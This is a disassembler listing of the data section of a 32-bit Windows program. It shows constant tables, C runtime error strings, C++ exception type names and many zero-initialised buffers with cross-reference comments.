dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
		dd 0E306h dup(0)
dword_49005C	dd 5156h dup(0)		; DATA XREF: ___:off_432948o
		db 3 dup(0)
byte_4A45B7	db 0			; DATA XREF: sub_562ABA:loc_5689DCo
		dd 4227h dup(0)
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
		dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
